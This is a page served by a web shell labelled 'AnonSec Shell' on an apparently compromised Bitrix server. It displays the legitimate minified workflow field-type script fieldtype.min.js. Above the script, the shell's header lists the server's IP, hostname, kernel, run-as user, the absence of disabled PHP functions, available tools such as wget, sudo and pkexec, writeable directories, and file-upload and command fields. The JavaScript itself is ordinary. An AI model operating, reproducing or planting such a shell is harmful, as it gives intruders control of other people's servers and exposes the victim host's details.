AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.22.61.174
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/bizproc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/bizproc/fieldtype.min.js
if(!BX.getClass("BX.Bizproc.FieldType"))(function(e){"use strict";e.namespace("BX.Bizproc");var t=function(e){return e.Multiple===true};const r=function(e){return e.AllowSelection!==false};var o=function(t){if(!e.type.isArray(t)){return[t]}return t};var n=function(t){if(e.Type.isArray(t)){return t.map((e=>e?e.replace(/(\s\[-?[0-9]+\])$/,""):""))}return t?t.replace(/(\s\[-?[0-9]+\])$/,""):""};const i=(e,r)=>{const n=o(e);if(t(r)){return n}return n.join(",")};var a=function(e){return e.Options?e.Options:{}};var s=function(t){let r="";if(!e.Type.isUndefined(t.Placeholder)){r=String(t.Placeholder)}return r};var c={isBaseType:function(e){switch(e){case"bool":case"UF:boolean":case"select":case"internalselect":case"date":case"UF:date":case"datetime":case"text":case"int":case"double":case"string":case"user":case"time":return true}return false},renderControlCollection:function(t,r,o){let n={};if(e.Type.isArrayFilled(r)){const i=[];const a=100;let s=0;while(s<r.length){const e=Math.min(s+a,r.length);i.push(r.slice(s,e));s=e}const c=!o||o==="public";const l=[];for(const r of i){const i=this.renderControlCollectionInner(t,r,o);n={...n,...i.rendered};l.push(e.ajax.runAction("bizproc.fieldtype.renderControlCollection",{json:{documentType:t,controlsData:i.toLoad.map((e=>({property:e.data.property,params:{Field:{Field:e.data.fieldName,Form:"sfa_form"},Value:e.data.value||"",Als:c?0:1,RenderMode:o==="designer"?"designer":"public"}})))}}).then((t=>{const r=t.data?.additionalParams;if(e.Type.isArray(r)){r.forEach(((t,r)=>{const o=i.toLoad[r].node;e.Dom.clean(o);e.Runtime.html(o,t).then((()=>{if(c){this.initControl(o,i.toLoad[r].data.property)}else if(!e.Type.isNil(e.Bizproc.Selector)){e.Bizproc.Selector.initSelectors(o)}}))}))}})).catch((t=>{if(!e.Type.isArrayFilled(t.errors)){return}const r=t.errors[0];if(e.Type.isStringFilled(r.message)){e.UI.Dialogs.MessageBox.alert(r.message)}if(e.Type.isPlainObject(r.customData)&&e.Type.isStringFilled(r.customData.reason)){console.error(r.customData.reason)}})))}Promise.all(l).catch((()=>{}))}return n},renderControlCollectionInner:function(t,r,o){const n={rendered:{},toLoad:[]};const i=!o||o==="public";r.forEach((r=>{const a=e.Type.isStringFilled(this.getRenderFunctionName(r.property));let s=null;if(!i||!a){s=e.Dom.create("div",{text:"..."});n.toLoad.push({node:s,data:r})}else{s=this.renderControl(t,r.property,r.fieldName,r.value,o)}n.rendered[r.controlId]=s}));return n},renderControl:function(t,r,o,n,i){if(!i||i==="public"){return this.renderControlPublic(t,r,o,n)}if(i==="designer"){return this.renderControlDesigner(t,r,o,n)}return e.create("div",{text:"incorrect render mode"})},renderControlPublic:function(r,n,i,a,s){var c,l=this.getRenderFunctionName(n);if(!e.Type.isBoolean(s)){s=true}if(e.type.isString(r)){r=r.split("@")}if(l){if(t(n)&&n.Type!=="select"){var p=[],u=this;o(a).forEach((function(e){p.push(u[l](n,i,e,r))}));if(p.length<=0){p.push(u[l](n,i,null,r))}c=this.wrapMultipleControls(n,i,p)}else{c=e.create("div",{children:[this[l](n,i,a,r)]})}}else{c=e.create("div",{text:"..."});s=false;e.ajax.runAction("bizproc.fieldtype.renderControl",{data:{documentType:r,property:n,params:{Field:{Field:i,Form:"sfa_form"},Value:a||"",Als:0,RenderMode:"public"}}}).then((t=>{e.Runtime.html(c,t.data.html).then((()=>{this.initControl(c,n)}))}),(t=>{e.UI.Dialogs.MessageBox.alert(t.errors[0].message)}))}if(s&&c){this.initControl(c,n)}return c},renderControlDesigner:function(t,r,o,n){var i=e.create("div",{text:"..."});e.ajax.runAction("bizproc.fieldtype.renderControl",{data:{documentType:t,property:r,params:{Field:{Field:o,Form:"sfa_form"},Value:n||"",Als:1,RenderMode:"designer"}}}).then((t=>{e.Runtime.html(i,t.data.html).then((()=>{if(typeof e.Bizproc.Selector!=="undefined"){e.Bizproc.Selector.initSelectors(i)}}))}),(t=>{e.UI.Dialogs.MessageBox.alert(t.errors[0].message)}));return i},formatValuePrintable:function(t,r){let o;switch(t["Type"]){case"bool":case"UF:boolean":o=e.message(r==="Y"?"BIZPROC_JS_BP_FIELD_TYPE_YES":"BIZPROC_JS_BP_FIELD_TYPE_NO");break;case"select":case"internalselect":var a=t["Options"]||{};if(e.type.isArray(r)){o=[];r.forEach((function(e){o.push(a[e])}));o=o.join(", ")}else{o=a[r]}break;case"date":case"UF:date":case"datetime":o=n(r);break;case"text":case"int":case"double":case"string":o=r.toString();break;case"user":o=[];var s,c,l,p,u=e.Type.isArray(r)?r:r.split(",");const d=(e,t)=>t.BaseType==="user"&&(t.Expression===e||t.SystemExpression===e);for(s=0;s<u.length;++s){l=e.util.trim(u[s]);if(p=l.match(/(.*)\[([A-Z]{0,2}\d+)\]/)){c=e.util.trim(p[1]);o.push(c)}else{const t=l;let r=this.getDocumentFields().find((e=>d(t,e)));if(!e.Type.isNil(r)){o.push(r.Name||t);continue}r=this.getGlobals().find((e=>d(t,e)));if(!e.Type.isNil(r)){o.push(r.Name||t);continue}o.push(t)}}o=o.join(", ");break;case"UF:address":let m=r;const f=m.match(/(.*)\|[\d.]*;[\d.]*\|?\d*/);if(f){m=String(f[1]).trim()}o=m;break;case"time":o=i(r,t);break;default:if(e.type.isString(r)){o=r}else{o="(?)"}break}return o},getRenderFunctionName:function(e){var t;switch(e["Type"]){case"B":case"bool":case"UF:boolean":t="createBoolNode";break;case"date":case"UF:date":case"datetime":case"S:Date":case"S:DateTime":t="createDateNode";break;case"L":case"select":case"internalselect":t="createSelectNode";break;case"T":case"text":t="createTextNode";break;case"N":case"int":case"double":t="createNumericNode";break;case"S":case"string":t="createStringNode";break;case"F":case"file":t="createFileNode";break;case"time":t="createTimeNode";break}return t},wrapMultipleControls:function(t,r,o){var n=e.create("div",{children:o});var i=e.create("a",{attrs:{className:"bizproc-type-control-clone-btn"},text:e.message("BIZPROC_JS_BP_FIELD_TYPE_ADD"),events:{click:function(e){e.preventDefault();c.cloneControl(t,r,this.parentNode)}}});n.appendChild(e.create("div",{children:[i]}));return n},cloneControl:function(t,r,o){var n=this.getRenderFunctionName(t);if(n){var i=this[n](t,r);if(i&&o.parentNode){var a=e.create("div",{children:[i]});this.initControl(a,t);o.parentNode.insertBefore(a,o)}}},createControlOptions:function(t,r){var o=a(t);var n="";for(var i in o){if(String(i)!==String(o[i])){n+="["+i+"]"+o[i]}else{n+=o[i]}n+="\n"}var s=e.util.getRandomString(3);var c=e.create("textarea",{attrs:{id:"bizproc_fieldtype_select_form_options_"+s}});c.innerHTML=e.util.htmlspecialchars(n);var l=this;var p=e.create("button",{attrs:{type:"button"},text:e.Loc.getMessage("BIZPROC_JS_BP_FIELD_TYPE_SELECT_OPTIONS3"),events:{click:function(){r(l.parseSelectFormOptions(s))}}});var u=e.create("div");u.appendChild(c);u.appendChild(e.create("br"));u.innerHTML+=e.Loc.getMessage("BIZPROC_JS_BP_FIELD_TYPE_SELECT_OPTIONS1");u.appendChild(e.create("br"));u.innerHTML+=e.Loc.getMessage("BIZPROC_JS_BP_FIELD_TYPE_SELECT_OPTIONS2");u.appendChild(e.create("br"));u.appendChild(p);return u},parseSelectFormOptions:function(t){var r={};var o=document.getElementById("bizproc_fieldtype_select_form_options_"+t).value;if(!o){return r}var n=o.split(/[\r\n]+/);var i=/\[([^\]]+)].+/;for(var a in n){var s=e.util.trim(n[a]);if(s.length>0){var c=s.match(i);if(c){var l=s.indexOf("]");r[c[1]]=s.substr(l+1)}else{r[s]=s}}}return r},createBoolNode:function(r,o,n){var i=e.message("BIZPROC_JS_BP_FIELD_TYPE_YES");var a=e.message("BIZPROC_JS_BP_FIELD_TYPE_NO");i=i.charAt(0).toUpperCase()+i.slice(1);a=a.charAt(0).toUpperCase()+a.slice(1);var s=e.create("select",{attrs:{className:"bizproc-type-control bizproc-type-control-bool"+(t(r)?" bizproc-type-control-multiple":"")},props:{name:o+(t(r)?"[]":"")},children:[e.create("option",{props:{value:""},text:e.message("BIZPROC_JS_BP_FIELD_TYPE_NOT_SELECTED")})]});var c=e.create("option",{props:{value:"Y"},text:i});if(n==="Y"||n===1||n==="1"){c.setAttribute("selected","selected")}var l=e.create("option",{props:{value:"N"},text:a});if(n==="N"||n===0||n==="0"){l.setAttribute("selected","selected")}s.appendChild(c);s.appendChild(l);return s},createDateNode:function(o,i,a){var c=o["Type"];if(c==="UF:date"||c==="S:Date"){c="date"}if(c==="S:DateTime"){c="datetime"}var l=e.create("input",{attrs:{className:"bizproc-type-control bizproc-type-control-"+c+(t(o)?" bizproc-type-control-multiple":""),"data-role":r(o)?"inline-selector-target":"","data-selector-type":c,placeholder:s(o)},props:{type:"text",name:i+(t(o)?"[]":""),value:n(a)}});var p=e.getClass("BX.Bizproc.Automation.Designer")&&e.Bizproc.Automation.Designer.getInstance();var u=p&&(p.getRobotSettingsDialog()||p.getTriggerSettingsDialog());if(!u){var d=e.create("img",{attrs:{src:"/bitrix/js/main/core/images/calendar-icon.gif",className:"calendar-icon",border:"0"},events:{click:function(t){t.preventDefault();e.calendar({node:this,field:l,bTime:c==="datetime",bHideTime:c==="date"})}}});var m;if(o["Settings"]&&o["Settings"]["timezones"]){m=e.create("select",{props:{name:"tz_"+(i+(t(o)?"[]":""))},attrs:{className:"bizproc-type-control-date-lc"}});o["Settings"]["timezones"].forEach((function(t){var r=e.create("option",{props:{value:t.value},text:t.text});if(t.value==="current"){r.setAttribute("selected","selected")}m.appendChild(r)}))}return e.create("div",{children:[l,d,m]})}return l},createNumericNode:function(o,n,i){return e.create("input",{attrs:{className:"bizproc-type-control bizproc-type-control-int"+(t(o)?" bizproc-type-control-multiple":""),"data-role":r(o)?"inline-selector-target":"",placeholder:s(o)},props:{type:"text",name:n+(t(o)?"[]":""),value:e.Type.isNil(i)?"":i.toString()}})},createStringNode:function(o,n,i){return e.create("input",{attrs:{className:"bizproc-type-control bizproc-type-control-string"+(t(o)?" bizproc-type-control-multiple":""),"data-role":r(o)?"inline-selector-target":"",placeholder:s(o)},props:{type:"text",name:n+(t(o)?"[]":""),value:i||""}})},createFileNode:function(o,n,i){var a=e.getClass("BX.Bizproc.Automation.Designer")&&e.Bizproc.Automation.Designer.getInstance();var s=a&&a.getRobotSettingsDialog();if(!s){var c=e.create("input",{props:{type:"file",name:n+(t(o)?"[]":""),value:i||""},events:{change:function(){this.nextSibling.textContent=e.Bizproc.FieldType.File.parseLabel(this.value)}}});var l=e.create("span",{children:[e.create("span",{attrs:{className:"webform-small-button"},text:e.message("BIZPROC_JS_BP_FIELD_TYPE_CHOOSE_FILE")})]});return e.create("div",{children:[l,c,e.create("span",{attrs:{className:"bizproc-type-control-file-label"}})],attrs:{className:"bizproc-type-control bizproc-type-control-file"+(t(o)?" bizproc-type-control-multiple":"")}})}return e.create("input",{attrs:{className:"bizproc-type-control bizproc-type-control-file-selectable"+(t(o)?" bizproc-type-control-multiple":""),"data-role":r(o)?"inline-selector-target":"","data-selector-type":"file"},props:{type:"text",name:n+(t(o)?"[]":""),value:i||""}})},createTextNode:function(o,n,i){return e.create("textarea",{attrs:{className:"bizproc-type-control bizproc-type-control-text"+(t(o)?" bizproc-type-control-multiple":""),"data-role":r(o)?"inline-selector-target":"",rows:5,cols:40,placeholder:s(o)},props:{name:n+(t(o)?"[]":""),value:i||""}})},createSelectNode:function(r,o,n,i){var a=function(t,r){if(!t||!r){return false}if(e.type.isArray(r)){return e.util.in_array(t,r)}return t.toString()===r.toString()};var s,c=e.create("select",{attrs:{className:"bizproc-type-control bizproc-type-control-select"+(t(r)?" bizproc-type-control-multiple":"")},props:{name:o+(t(r)?"[]":"")}});var l=function(){return e.create("option",{props:{value:""},text:r.EmptyValueText||e.message("BIZPROC_JS_BP_FIELD_TYPE_NOT_SELECTED")})};if(t(r)){c.setAttribute("multiple","multiple");c.setAttribute("size","5")}s=l();if(e.Type.isNil(n)||n.length===0){s.setAttribute("selected","selected")}c.appendChild(s);const p=t=>{t.forEach(((t,r)=>{let o=r;let i=t;if(e.Type.isPlainObject(t)){o=t.value;i=t.name}const s=e.create("option",{props:{value:o},text:e.Text.decode(i)});if(a(o,n)){s.setAttribute("selected","selected")}c.appendChild(s)}))};if(e.type.isPlainObject(r["Options"])){const e=[];for(const t in r["Options"]){if(!r["Options"].hasOwnProperty(t)){continue}e.push({value:t,name:r["Options"][t]})}p(e)}else if(e.type.isArray(r["Options"])){p(r["Options"])}else if(r.Settings&&r.Settings.OptionsLoader&&r.Settings.OptionsLoader.type==="component"){const t=r.Settings.OptionsLoader;const o=e.create("option",{props:{value:"..."},text:"..."});c.appendChild(o);e.ajax.runComponentAction(t.component,t.action,{mode:t.mode||undefined,data:{documentType:i,property:r}}).then((t=>{if(e.Type.isArray(t.data.options)){e.Dom.remove(o);p(t.data.options)}}))}return c},createTimeNode:function(o,n,i){const a=e.Dom.create("INPUT",{attrs:{type:"text",autocomplete:"off","data-role":r(o)?"inline-selector-time":"","data-selector-type":"time"},props:{className:`bizproc-type-control bizproc-type-control-time${t(o)?" bizproc-type-control-multiple":""}`,name:n+(t(o)?"[]":""),value:i||""}});return e.Dom.create("DIV",{children:[a]})},initControl:function(t,r){var o=e.getClass("BX.Bizproc.Automation.Designer")&&e.Bizproc.Automation.Designer.getInstance();var n;var i=t.querySelectorAll("[data-role]");if(o&&o.getRobotSettingsDialog()){n=o.getRobotSettingsDialog();n.template.initRobotSettingsControls(n.robot,t)}else if(o&&o.getTriggerSettingsDialog()){n=o.getTriggerSettingsDialog();n.triggerManager.initSettingsDialogControls(t)}else if(r&&r["Type"]==="user"&&e.Bizproc.UserSelector){e.Bizproc.UserSelector.decorateNode(t.querySelector('[data-role="user-selector"]'))}else if(i.length>0){const t=e.Bizproc.Automation&&e.Bizproc.Automation.tryGetGlobalContext&&e.Bizproc.Automation.tryGetGlobalContext();if(t){i.forEach((function(r){var o=e.Bizproc.Automation.SelectorManager.createSelectorByRole(r.getAttribute("data-role"),{context:new e.Bizproc.Automation.SelectorContext({fields:e.clone(t.document.getFields()),useSwitcherMenu:t.get("showTemplatePropertiesMenuOnSelecting"),rootGroupTitle:t.document.title,userOptions:t.userOptions})});if(o&&r.parentNode){r.parentNode.replaceChild(o.renderWith(r),r)}}))}}},getDocumentFields:function(){const t=e.getClass("BX.Bizproc.Automation.Designer")&&e.Bizproc.Automation.Designer.getInstance();const r=t&&t.component;if(r){return r.data["DOCUMENT_FIELDS"]}if(e.getClass("BX.Bizproc.Automation.API.documentFields")){return e.Bizproc.Automation.API.documentFields}return[]},getDocumentUserGroups:function(){if(e.getClass("BX.Bizproc.Automation.API.documentUserGroups")){return e.Bizproc.Automation.API.documentUserGroups}return[]},getGlobals:function(){const t=e.Bizproc.Automation&&e.Bizproc.Automation.tryGetGlobalContext&&e.Bizproc.Automation.tryGetGlobalContext();return t&&t.automationGlobals?t.automationGlobals.globalVariables.concat(t.automationGlobals.globalConstants):[]}};c.File={parseLabel:function(e){var t;if(e.lastIndexOf("\\")){t=e.lastIndexOf("\\")+1}else{t=e.lastIndexOf("/")+1}return e.slice(t)}};e.Bizproc.FieldType=c})(window.BX||window.top.BX);
//# sourceMappingURL=fieldtype.map.js

Anon7 - 2022
AnonSec Team